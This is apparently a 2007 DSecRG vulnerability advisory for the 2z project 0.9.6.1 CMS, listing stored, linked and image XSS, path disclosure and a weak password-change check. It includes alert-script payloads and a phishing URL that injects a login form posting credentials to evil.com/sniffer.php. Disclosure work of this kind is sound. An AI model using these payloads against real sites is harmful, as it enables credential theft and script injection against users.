2zproject-multi.txt

`  
Digital Security Research Group [DSecRG] Advisory  
  
Name: 2z project  
Systems Affected: 2z project 0.9.6.1  
Vendor URL: http://2z-project.ru  
Authors: Alexandr Polyakov, Stas Svistunovich  
Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)  
Reported: 27.12.2007  
Vendor response: 27.12.2007  
Date of Public Advisory: 28.12.2007  
  
Description  
***********  
  
2z system has multiple security vulnerabilities:  
  
1. Stored XSS  
2. Linked XSS  
3. Image XSS  
4. Path disclosure  
5. Vulnerable Password changing algorithm  
  
  
Details  
*******  
  
  
1. Multiple Stored XSS  
  
  
1.1 Vulnerability in script http://[server]/[installdir]/?action=addnews in post parameters:  
  
parameter name = contentshort  
parameter name = contentfull  
  
Example:  
  
contentshort=<script>alert('DSecRG XSS')</script>  
contentfull=<script>alert('DSecRG XSS')</script>  
  
  
1.2 Vulnerability in script http://[server]/[installdir]/2z/admin.php?mod=pm&action=write  
  
parameter name = content  
  
Example:  
  
content=<script>alert('DSecRG XSS')</script>  
  
---------------------------------------------------  
  
2. Linked XSS Vulnerability in page index.php.  
Working only if user not logged in. So it can be used for Phishing (see Example).  
  
Template /templates/default/usermenu.tpl have vulnetability parameter "referer".   
This template included to index.php, so it can be used for Phishing.  
  
Source code of usermenu.tpl:  
---------------------------------------  
<form name="login" method="post" action="" id="login">  
<input type="hidden" name="referer" value="{request_uri}" /> <-- html code injected into {request_uri}   
<input type="hidden" name="action" value="dologin" />  
..  
<input onfocus="if (!set_login){set_login=1;this.value='';}" value="{l_name}" class="mw_login_form" type="text" name="username" maxlength="60" size="25" />  
..  
<input onfocus="if(!set_pass){set_pass=1;this.value='';}" value="{l_password}" class="mw_login_form" type="password" name="password" maxlength="20" size="25" />  
..  
</from>  
---------------------------------------  
  
Example:  
  
http://[server]/[installdir]/?"/><form/name="login"/method="post"/action="http://evil.com/sniffer.php"/id="login"><input/type="hidden"/name="referer"/value="  
http://[server]/[installdir]/index.php?"/><form/name="login"/method="post"/action="http://evil.com/sniffer.php"/id="login"><input/type="hidden"/name="referer"/value="  
  
-------------------------------------------------  
  
3. Image XSS Vulnetability in page /2z/?action=profile   
  
Attacker can upload avatar and photo contained a XSS code.  
  
Vulnerable parameters: newavatar, newphoto  
  
For more information see http://www.dsec.ru/about/articles/web_xss/ (in russian)  
  
-------------------------------------------------  
  
4. Path disclosure  
  
By exploiting this issue, an attacker may gain sensitive information on the directory   
structure of the server machine, which allows for further attacks against the site.   
  
Example:  
  
http://[server]/[installdir]/index.php?template=test  
http://[server]/[installdir]/?year=1234&month=06   
  
-------------------------------------------------  
  
5. Password changing vulnerabiluity  
  
Old password not needed to change password.  
  
-------------------------------------------------  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information   
security consulting, audit and penetration testing services, risk analysis and   
ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.  
Digital Security Research Group focuses on web application and database security   
problems with vulnerability reports, advisories and whitepapers posted regularly   
on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
`